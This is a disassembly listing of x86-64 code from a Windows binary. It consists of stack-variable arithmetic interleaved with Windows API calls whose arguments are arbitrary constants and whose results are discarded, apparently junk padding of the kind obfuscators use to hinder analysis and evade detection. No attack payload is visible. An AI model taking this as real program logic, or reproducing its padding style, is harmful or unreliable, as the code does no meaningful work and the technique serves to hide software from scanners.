movsx eax, byte [rsp + 0x6b0]
movsx ecx, byte [rsp + 0x43e]
and eax, ecx
movsx ecx, byte [rsp + 0x6b2]
movsx edx, byte [rsp + 0x628]
add ecx, edx
cmp eax, ecx
jle 0x140020891
mov r8w, 0xb3
mov edx, 0x86
mov rcx, qword [rsp + 0x12f18]
call qword [sym.imp.USER32.dll_SetClassWord]
mov word [rsp + 0x299c], ax
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6b4], al
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x13050]
mov word [rcx], ax
mov eax, dword [rsp + 0xa7d0]
mov ecx, dword [rsp + 0xa808]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa810]
mov ecx, dword [rsp + 0xa7b4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa774], eax
mov rax, qword [rsp + 0x12ee0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa81c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13020]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f90]
mov eax, dword [rax]
mov dword [rsp + 0xa87c], eax
lea r9, [rsp + 0x12f40]
mov r8d, 0x14
mov rdx, qword [rsp + 0x13190]
mov rcx, qword [rsp + 0x13008]
call qword [sym.imp.USER32.dll_GetMenuItemRect]
mov dword [rsp + 0xa7b0], eax
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa87c]
sub ecx, eax
mov eax, ecx
mov dword [0x14035cbd8], eax
movzx eax, word [0x140362afc]
mov rcx, qword [rsp + 0x13050]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
jmp 0x14030cc37
movsx eax, byte [rsp + 0x6b0]
movsx ecx, byte [rsp + 0x43e]
add eax, ecx
movsx ecx, byte [rsp + 0x628]
movsx edx, byte [rsp + 0x6b2]
add ecx, edx
cmp eax, ecx
jle 0x1400209c7
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b1]
shl eax, cl
mov byte [rsp + 0x6b3], al
mov eax, dword [rsp + 0xa810]
mov ecx, dword [rsp + 0xa7d8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f90]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12f40]
mov qword [rsp + 0x13198], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13198]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa850]
mov dword [rsp + 0xa81c], eax
lea rax, [rsp + 0x13178]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 5
lea r9, [rsp + 0x13020]
mov r8d, 0x77
lea rdx, [rsp + 0x49f10]
lea rcx, [rsp + 0x41968]
call qword [sym.imp.ole32.dll_CoGetStandardMarshal]
mov dword [rsp + 0xa7e8], eax
mov rax, qword [rsp + 0x12ee0]
mov ecx, dword [rsp + 0x8604]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13090]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12fe8]
movzx eax, word [rax]
mov word [rsp + 0x299c], ax
movzx eax, byte [rsp + 0x6b4]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6b3], al
jmp 0x14030cc37
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b3]
sub eax, ecx
movzx ecx, byte [rsp + 0x43d]
movzx edx, byte [rsp + 0x6b1]
add ecx, edx
cmp eax, ecx
jge 0x140020aad
movzx eax, byte [rsp + 0x6b4]
movzx ecx, byte [0x14035e48e]
add eax, ecx
mov rcx, qword [rsp + 0x13060]
mov byte [rcx], al
mov dword [rsp + 0x20], 0x92
mov r9d, DrawInsert
mov r8d, 0xbe
mov rdx, qword [rsp + 0x131a0]
mov rcx, qword [rsp + 0x13160]
call qword [sym.imp.USER32.dll_DlgDirListW]
mov dword [rsp + 0xa804], eax
movsx eax, word [rsp + 0x197c]
movsx ecx, word [rsp + 0x2990]
shl eax, cl
mov rcx, qword [rsp + 0x13108]
mov word [rcx], ax
mov eax, dword [rsp + 0xa868]
mov dword [rsp + 0xa87c], eax
mov eax, dword [rsp + 0xa7b4]
mov ecx, dword [rsp + 0xa854]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x43d], al
jmp 0x140021096
mov rax, qword [rsp + 0x12f48]
mov ecx, dword [rsp + 0xa868]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov edx, dword [rsp + 0xa87c]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jne 0x140020daf
mov rax, qword [rsp + 0x130e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x197c]
or eax, ecx
movsx ecx, word [0x140353b08]
mov rdx, qword [rsp + 0x12fb8]
movsx edx, word [rdx]
and ecx, edx
cmp eax, ecx
jne 0x140020c8b
mov rax, qword [rsp + 0x12fe8]
movzx eax, word [rax]
mov word [rsp + 0x299c], ax
mov rax, qword [rsp + 0x12f48]
mov ecx, dword [rsp + 0xa7dc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
lea rax, [rsp + 0x13040]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 9
lea rax, [rsp + 0xa858]
mov qword [rsp + 0x20], rax
mov r9d, 0xcd
lea r8, [rsp + 0x13040]
lea rdx, [rsp + 0x13108]
lea rcx, [rsp + 0x41978]
call qword [sym.imp.ole32.dll_CoGetInstanceFromIStorage]
mov dword [rsp + 0xa820], eax
mov rax, qword [rsp + 0x13188]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8604]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13188]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa894]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa884], eax
mov eax, dword [rsp + 0xa87c]
mov rcx, qword [rsp + 0x12f48]
mov qword [rsp + 0x131a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x131a8]
mov eax, dword [rax]
shr eax, cl
mov dword [0x14035cbd8], eax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13060]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
movzx eax, word [rsp + 0x2484]
mov rcx, qword [rsp + 0x13050]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x12f20]
mov ecx, dword [rsp + 0xa810]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa7d8], eax
lea rdx, [rsp + 0x130a0]
lea rcx, [rsp + 0x419c8]
call qword [sym.imp.ole32.dll_CoQueryAuthenticationServices]
mov dword [rsp + 0xa898], eax
mov rax, qword [rsp + 0x12ee0]
mov rcx, qword [rsp + 0x13090]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa804], eax
jmp 0x140020daa
movsx eax, byte [rsp + 0x43e]
movsx ecx, byte [rsp + 0x628]
add eax, ecx
movsx ecx, byte [rsp + 0x6b2]
movsx edx, byte [rsp + 0x6b0]
sub ecx, edx
cmp eax, ecx
je 0x140020d14
lea rax, [rsp + 0xa7dc]
mov qword [rsp + 0x131b0], rax
mov eax, dword [rsp + 0xa810]
mov ecx, dword [rsp + 0xa81c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13188]
mov rcx, qword [rsp + 0x12f50]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
lea rax, [rsp + 0x197c]
mov qword [rsp + 0x131b8], rax
jmp 0x140020daa
movsx eax, word [rsp + 0x197c]
mov rcx, qword [rsp + 0x12fb8]
movsx ecx, word [rcx]
sub eax, ecx
movsx ecx, word [0x140353b08]
mov rdx, qword [rsp + 0x130e8]
movsx edx, word [rdx]
and ecx, edx
cmp eax, ecx
jle 0x140020d5f
movsx eax, word [0x140353b08]
movsx ecx, word [rsp + 0x2990]
add eax, ecx
mov rcx, qword [rsp + 0x12fb8]
mov word [rcx], ax
jmp 0x140020daa
mov rax, qword [rsp + 0x12f50]
mov rcx, qword [rsp + 0x12f20]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13188]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0xa854]
or edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x140020daa
movzx eax, byte [rsp + 0x6b3]
movzx ecx, byte [rsp + 0x6b1]
add eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
jmp 0x140021096
movsx eax, word [rsp + 0x2990]
mov rcx, qword [rsp + 0x12fb8]
movsx ecx, word [rcx]
or eax, ecx
movsx ecx, word [0x140353b08]
movsx edx, word [rsp + 0x1784]
add ecx, edx
cmp eax, ecx
jl 0x140020f67
movzx eax, word [rsp + 0x299c]
movzx ecx, word [0x140362afc]
sub eax, ecx
mov word [rsp + 0x2484], ax
mov rax, qword [rsp + 0x131b0]
mov ecx, dword [rsp + 0xa7dc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x131b0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa854]
mov ecx, dword [rsp + 0xa884]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7d4], eax
lea rax, [rsp + 0x130a0]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x131c0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xb9
mov r9d, 0x79
mov r8d, 0xea
mov edx, 0xe7
mov rcx, qword [rsp + 0x12f88]
call qword [sym.imp.USER32.dll_TrackPopupMenu]
mov dword [rsp + 0xa89c], eax
mov rax, qword [rsp + 0x13050]
movzx eax, word [rax]
mov word [rsp + 0x299c], ax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13060]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
mov eax, dword [0x14035cbd8]
mov ecx, dword [rsp + 0xa7d0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa7b4]
mov dword [rsp + 0xa854], eax
lea rax, [rsp + 0x41978]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x41968]
lea r8, [rsp + 0x13150]
mov edx, 0x5e
lea rcx, [rsp + 0x41978]
call qword [sym.imp.ole32.dll_CoGetClassObject]
mov dword [rsp + 0xa83c], eax
movsx eax, word [rsp + 0x1784]
mov rcx, qword [rsp + 0x12fb8]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x140353b08], ax
mov eax, dword [rsp + 0xa7d0]
movzx ecx, al
mov eax, dword [rsp + 0xa7dc]
shl eax, cl
mov rcx, qword [rsp + 0x131b0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2484]
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13050]
mov word [rcx], ax
jmp 0x140021096
movzx eax, byte [rsp + 0x43d]
movzx ecx, byte [rsp + 0x6b1]
add eax, ecx
mov byte [rsp + 0x6b3], al
mov rax, qword [rsp + 0x12f50]
mov rcx, qword [rsp + 0x13020]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa884], eax
mov rax, qword [rsp + 0x12ee0]
mov ecx, dword [rsp + 0xa7b4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13020]
mov dword [rcx], eax
mov r8d, 0x53
mov edx, 0x55
mov rcx, qword [rsp + 0x131c8]
call qword [sym.imp.USER32.dll_GetMenuState]
mov dword [rsp + 0xa8a0], eax
mov rax, qword [rsp + 0x130e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2990]
and eax, ecx
mov rcx, qword [rsp + 0x13108]
mov word [rcx], ax
movsx eax, byte [rsp + 0x628]
movsx ecx, byte [rsp + 0x43e]
sub eax, ecx
mov byte [rsp + 0x6b2], al
movzx eax, byte [rsp + 0x6b1]
mov rcx, qword [rsp + 0x13060]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
movzx eax, word [rsp + 0x298c]
movzx ecx, word [rsp + 0x2484]
sub eax, ecx
mov word [0x140362afc], ax
mov rax, qword [rsp + 0x12f48]
mov rcx, qword [rsp + 0x12f90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa7d0]
mov dword [rsp + 0xa7dc], eax
lea rdx, [rsp + 0x12f90]
lea rcx, [rsp + 0x41998]
call qword [sym.imp.ole32.dll_StringFromCLSID]
mov dword [rsp + 0xa85c], eax
mov eax, dword [rsp + 0x8604]
mov ecx, dword [rsp + 0xa894]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13090]
mov dword [rcx], eax
lea rcx, str.Ek_vINacZW4j9_ik
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2994], ax
movsx eax, byte [rsp + 0x43e]
movsx ecx, byte [rsp + 0x6b0]
or eax, ecx
movsx ecx, byte [rsp + 0x628]
mov dword [rsp + 0xa8a4], ecx
movsx edx, byte [rsp + 0x6b2]
movzx ecx, dl
mov edx, dword [rsp + 0xa8a4]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x140021282
mov rax, qword [rsp + 0x13020]
mov ecx, dword [rsp + 0xa850]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8604], eax
mov rax, qword [rsp + 0x13020]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa894]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x299c]
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x298c], ax
movzx eax, byte [rsp + 0x43d]
movzx ecx, byte [rsp + 0x6b4]
add eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
mov eax, dword [rsp + 0xa8a0]
mov ecx, dword [rsp + 0xa87c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13020]
mov rcx, qword [rsp + 0x12f50]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa7d8], eax
mov r8d, 0x8f
mov rdx, qword [rsp + 0x131d0]
mov rcx, qword [rsp + 0x13000]
call qword [sym.imp.USER32.dll_ChildWindowFromPointEx]
mov qword [rsp + 0x131d8], rax
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x298c]
sub eax, ecx
mov word [0x140362afc], ax
mov eax, dword [0x14035cbd8]
mov ecx, dword [rsp + 0xa7d0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x6b1], al
movzx eax, word [rsp + 0x299c]
mov rcx, qword [rsp + 0x12fa8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x12fe8]
mov word [rcx], ax
mov rcx, qword [rsp + 0x130a8]
call qword [sym.imp.USER32.dll_GetWindowDC]
mov qword [rsp + 0x131e0], rax
movsx eax, word [0x140353b08]
mov rcx, qword [rsp + 0x130e8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1784], ax
jmp 0x140021756
mov eax, dword [rsp + 0xa774]
mov ecx, dword [rsp + 0xa7b4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13090]
mov ecx, dword [rcx]
mov rdx, qword [rsp + 0x12f20]
mov edx, dword [rdx]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x140021385
mov rax, qword [rsp + 0x12f50]
mov ecx, dword [rsp + 0xa884]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13020]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7dc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7d0], eax
mov rax, qword [rsp + 0x13020]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa804]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12fe8]
movzx eax, word [rax]
mov word [rsp + 0x299c], ax
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b1]
sub eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
mov r9d, 0x88
mov r8d, 0x44
mov edx, 0x6f
mov rcx, qword [rsp + 0x131d8]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x131e8], rax
mov eax, dword [rsp + 0xa7d8]
mov ecx, dword [rsp + 0xa850]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13090]
mov dword [rcx], eax
jmp 0x140021756
mov rax, qword [rsp + 0x12f40]
mov rcx, qword [rsp + 0x12f48]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov edx, dword [rsp + 0xa808]
mov ecx, dword [rcx]
and ecx, edx
cmp eax, ecx
jbe 0x140021531
mov rax, qword [rsp + 0x131b0]
mov ecx, dword [0x14035cbd8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa7d0], eax
mov rax, qword [rsp + 0x13188]
mov eax, dword [rax]
mov dword [rsp + 0xa854], eax
mov eax, dword [rsp + 0xa854]
mov ecx, dword [rsp + 0xa810]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13188]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12fe8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2484]
sub eax, ecx
mov word [rsp + 0x298c], ax
movzx eax, byte [rsp + 0x6b1]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13060]
mov byte [rcx], al
call qword [sym.imp.ole32.dll_CoTestCancel]
mov dword [rsp + 0xa85c], eax
mov rax, qword [rsp + 0x12f40]
mov rcx, qword [rsp + 0x12f48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13090]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa884]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7d8], eax
mov rax, qword [rsp + 0x13020]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x8604]
shl eax, cl
mov rcx, qword [rsp + 0x13188]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa804]
movzx ecx, al
mov eax, dword [rsp + 0xa81c]
sar eax, cl
mov dword [rsp + 0xa850], eax
mov rax, qword [rsp + 0x13020]
mov rcx, qword [rsp + 0x12ee0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa804], eax
movzx eax, word [rsp + 0x2484]
movzx ecx, word [rsp + 0x298c]
and eax, ecx
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
lea rdx, [rsp + 0x131f0]
mov ecx, 0x5f
call qword [sym.imp.ole32.dll_GetRunningObjectTable]
mov dword [rsp + 0xa7e4], eax
movsx eax, word [rsp + 0x2990]
mov rcx, qword [rsp + 0x12fb8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x197c], ax
jmp 0x140021756
mov rax, qword [rsp + 0x12f20]
mov rcx, qword [rsp + 0x13090]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov ecx, dword [rsp + 0xa81c]
mov edx, dword [rsp + 0xa850]
or edx, ecx
mov ecx, edx
cmp eax, ecx
jg 0x140021756
mov rax, qword [rsp + 0x12fe8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12fa8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1cb4], ax
movsx eax, word [0x140353b08]
movsx ecx, word [rsp + 0x1784]
and eax, ecx
mov rcx, qword [rsp + 0x13108]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0x131b8]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jl 0x14002166a
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x20b9
mov r9d, 0x112c
mov r8d, 0xaed8ea12
mov edx, 2
mov rcx, qword [rsp + 0x12ef0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xa8a8], eax
lea rdx, [rsp + 0x12f98]
mov rcx, qword [rsp + 0x12ef0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa8a8], eax
lea rax, [rsp + 0x6b4]
mov qword [rsp + 0x131f8], rax
mov rax, qword [rsp + 0x12f90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa78c], eax
mov eax, dword [rsp + 0xa78c]
mov dword [rsp + 0xa8a0], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x13200], rax
lea rax, [rsp + 0x2484]
mov qword [rsp + 0x13208], rax
jmp 0x140021756
mov eax, dword [0x14035cbd8]
mov ecx, dword [rsp + 0xa7d0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0xa8a0]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jbe 0x140021756
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [0x14035e48e]
and eax, ecx
mov rcx, qword [rsp + 0x13060]
mov byte [rcx], al
mov rax, qword [rsp + 0x12f50]
mov ecx, dword [rsp + 0xa7b4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13090]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov dword [rsp + 0xa7dc], eax
mov r8d, 0x9a
mov rdx, qword [rsp + 0x12f08]
mov rcx, qword [rsp + 0x131d8]
call qword [sym.imp.USER32.dll_GetWindowModuleFileNameW]
mov dword [rsp + 0xa8ac], eax
mov rax, qword [rsp + 0x13090]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13020]
mov qword [rsp + 0x13210], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13210]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x8604], eax
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa884]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13090]
mov dword [rcx], eax
mov rax, qword [rsp + 0x131b0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa87c]
shr eax, cl
mov rcx, qword [rsp + 0x12f90]
mov rdx, qword [rsp + 0x12f40]
mov edx, dword [rdx]
mov ecx, dword [rcx]
or ecx, edx
cmp eax, ecx
ja 0x14002199e
mov rax, qword [rsp + 0x131b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d0]
sub ecx, eax
mov eax, ecx
mov ecx, dword [0x14035cbd8]
mov edx, dword [rsp + 0xa808]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
ja 0x1400218a1
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b3]
add eax, ecx
mov byte [rsp + 0x6b4], al
lea rdx, [rsp + 0x45b60]
mov rcx, qword [rsp + 0x12ef0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa7c0], eax
mov rax, qword [rsp + 0x12fe8]
movzx eax, word [rax]
mov word [rsp + 0x29a0], ax
lea rcx, [rsp + 0x41aa8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x12f40]
mov ecx, dword [rsp + 0xa7dc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa78c], eax
mov eax, dword [rsp + 0xa854]
mov rcx, qword [rsp + 0x12f20]
mov qword [rsp + 0x13218], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13218]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa7d4], eax
movsx eax, byte [rsp + 0x6b0]
movsx ecx, byte [rsp + 0x628]
shl eax, cl
mov byte [rsp + 0x40c], al
mov rax, qword [rsp + 0x131b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2990]
xor eax, ecx
mov rcx, qword [rsp + 0x130e8]
mov word [rcx], ax
jmp 0x140021999
mov eax, dword [rsp + 0xa850]
mov ecx, dword [rsp + 0xa884]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f50]
mov edx, dword [rsp + 0xa854]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jge 0x14002194e
mov rax, qword [rsp + 0x13208]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13050]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x29a0], ax
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x131f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x131b0]
mov rcx, qword [rsp + 0x12f48]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa8a0], eax
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa850]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
jmp 0x140021999
movsx eax, word [rsp + 0x1784]
movsx ecx, word [rsp + 0x197c]
or eax, ecx
mov rcx, qword [rsp + 0x131b8]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0x130e8]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jg 0x140021999
lea rdx, [rsp + 0x13138]
lea rcx, [rsp + 0x41998]
call qword [sym.imp.ole32.dll_OleGetAutoConvert]
mov dword [rsp + 0xa848], eax
jmp 0x140021a50
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
sub eax, ecx
mov byte [0x14035e48e], al
mov rax, qword [rsp + 0x12f48]
mov rcx, qword [rsp + 0x12f40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13090]
mov rcx, qword [rsp + 0x12f50]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8604], eax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x131f8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13060]
mov byte [rcx], al
mov rax, qword [rsp + 0x13050]
movzx eax, word [rax]
movzx ecx, word [0x140362afc]
or eax, ecx
mov rcx, qword [rsp + 0x13050]
mov word [rcx], ax
mov eax, dword [rsp + 0xa894]
mov ecx, dword [rsp + 0xa774]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa884], eax
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov dword [rsp + 0xa8b0], eax
movsx eax, word [rsp + 0x1784]
mov rcx, qword [rsp + 0x130e8]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x131b8]
movsx ecx, word [rcx]
mov dword [rsp + 0xa8b4], ecx
mov rdx, qword [rsp + 0x13108]
movsx edx, word [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0xa8b4]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x140021bcd
mov r9d, 0x11
mov r8d, 0xec
mov edx, 9
mov rcx, qword [rsp + 0x12f18]
call qword [sym.imp.USER32.dll_CheckRadioButton]
mov dword [rsp + 0xa780], eax
mov rax, qword [rsp + 0x12f40]
